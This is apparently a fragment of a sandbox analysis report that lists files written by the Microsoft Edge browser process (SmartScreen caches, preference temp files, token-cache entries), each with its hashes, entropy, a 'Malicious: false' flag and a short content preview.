Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.999940255696432
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXQVUb4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lAVUcY
MD5:	DBB9AB875B4D7E41F4CE212008ECF6C2
SHA1:	60E7C58C78600DA5E16355D02DBF633C7187B696
SHA-256:	B15142859D765F2CFBF81D3EBFA66A7021875C61E657DF54227D91872499D8AF
SHA-512:	941D9709348B37475D490FB5DDE2376BE5BF90F4F63021DE36D0FDD41F4A2EA06FCF48AF0BE17D9AA67C21413F5122B9B86341FD491FAB607C1C2A206418CC2D
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732610801166194}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a043e54e-d903-45bf-a888-4cfb1b7d7fe0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	6.094621017726282
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW3ui1zNtMncknO966zmCs7KJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOncOOAKtSmd6qE7lFoC
MD5:	36FFADE21015A6917C2D7DDB9F849405
SHA1:	74D569FE0F2BCFC2561435B07BDEE53DC4A7D10A
SHA-256:	09CD32B523CE2D2326A57EA6DE57C0789A3EC2A54638882B77A291471A8C4CD5
SHA-512:	83DEE9311932C50796D8B46BA6D7FE832E32D580974E4E388F0E82BA0E10772848A32930A7AEE7189863606C7381E5C383049092A1B1533D66FFC8FA6242EC8D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a7912b61-1160-4c89-a14e-0f11f830433a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800010924139
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRnkzItSmd6qE7lFoC
MD5:	50D83A397E6066745AF8152332D655B3
SHA1:	FA99BBF7AD13485D96CBDA7B76E9A6CC08FEC1D3
SHA-256:	8A2EA5118B0ED634D96FF6E004A4848ADA765D0D4D27EF0B66B75C7BFA8ACCBE
SHA-512:	C4CF68868F0C04DB078563E54E7B40B94BE24C26491772045633BBD5C6C5365EF3CB3346591B728DFA56D0593181D458FDF23EA0E6895D82EB46E52824FD3C87
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b2e2060a-82bd-4af7-99e9-14c7d35ce0fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46425
Entropy (8bit):	6.086279118408483
Encrypted:	false
SSDEEP:	768:SMkbJrT8IeQc5dKTPNi1zNtMncknO966zmCs7IQmxgpCioXJDSgzMMd6qD47u30Z:SMk1rT8H1K3cOOAIQ9FoXtSmd6qE7D
MD5:	96247C91D883CD3DBC72EF0CA2A8CDC3
SHA1:	B08FE63F19F58F10473BBB650D1003AF734DF0DA
SHA-256:	CD053D593A8B288F9366451684729411429BF8E8E44DA4A47B79016EC05A52D0
SHA-512:	AF8B2E3B85A9CEDBF9FA17468FC35928A40B44B3AB9E4F4CCA681134FEAAF961EDECBAEBFF3E2261F183EB04FD50B09963BB8E3461B5CDAD56008867E0F8272B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376983596935267","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"638c1f4a-6103-4fa9-991f-3c1a072e81a9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732510001"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d6e709f8-3566-4d81-aac7-d440e876c056.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46502
Entropy (8bit):	6.086213088295865
Encrypted:	false
SSDEEP:	768:SMkbJrT8IeQc53KTPNi1zNtMnckn366zmCs7IQmxgpCioXJDSgzMMd6qD47u30Z:SMk1rT8HvK3cOmIQ9FoXtSmd6qE7D
MD5:	CEBED735C66F26A7EB520C09084C2293
SHA1:	54EC9EDF01F75D992A394C410E023EAF92DA0C63
SHA-256:	FE8F8E07B340815D071D748811D787F2975B9827885EAF54DB247141FA42DECE
SHA-512:	AE5A845761EB9B5211BCD741D35BB2915003DD3CF187AD224BBD239EF39B9E874D383692328D454531631F4BD440226D3400D83B863E924A4673545086212D91
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376983596935267","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"638c1f4a-6103-4fa9-991f-3c1a072e81a9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732510001"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e5685fbc-0949-4621-a32b-2696832fc613.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46502
Entropy (8bit):	6.08621582698766
Encrypted:	false
SSDEEP:	768:SMkbJrT8IeQc539TPNi1zNtMnckn366zmCs7IQmxgpCioXJDSgzMMd6qD47u30Z:SMk1rT8Hv93cOmIQ9FoXtSmd6qE7D
MD5:	F42D1C00CDD7CD789605394DF6893332
SHA1:	6202A7C7D488550867881B491F02FED58A84E771
SHA-256:	7B3919F3483F32E9E0A2A3A1C62CB243D76F6654AAA5D15080FC25B895433D69
SHA-512:	3EA5DE7FF9968B014BFEB43070CBE9F8BCD4CAB9E7479E74EA4F226B823A43BD09513335F2F445FCB37C1CC710E0F20592CED64B0CF8A8626C96DD8957B452C3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376983596935267","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"638c1f4a-6103-4fa9-991f-3c1a072e81a9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732510001"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.84507034652202
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxfCxl9Il8uwYL1hlDtpuXBrv5LQwZNczhqf4wfUla3zd1rc:mTYiUJDt+t5LQKGcfNfUlsU
MD5:	B83909BB8FA79F61E325F87CEFA8B414
SHA1:	8C20D8085492E0DC95ACC28F274166BED022E7EE
SHA-256:	D3BDECF17596BAD4DFF7B7D1DF452ECBAB45F5BC3D88E9D614B628733B7FE4C5
SHA-512:	E22B251BE71B1A24DACBDCC0374DAA8EFF5745DA90CD081A2E3DF68F0E50DE5F83EF966F74214512D0A3505729840F32CDC4EBEC54411C3F44A2397070A51FF6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.A.m.d.Z.f.0.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.I.6.d.9.5.l.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.997915131631038
Encrypted:	false
SSDEEP:	48:uiTrlKxExgxD9Il8uwDELqwuausKV4pspWD3g5KqmVIKKSrm9YdUvih3hE2J0OR0:yYi4L/R7psi3GzSrmOmYLJ0tFEpS8e/x
MD5:	D3362BA25403B47DCBFC4B9B099AB749
SHA1:	71389014D20FFBBEC39D925DA708DC61BD7CA0D1
SHA-256:	E1A238509038CD062FBCDDF0067EDE1D9291D4D2FF19B1840B446914284EC9C3
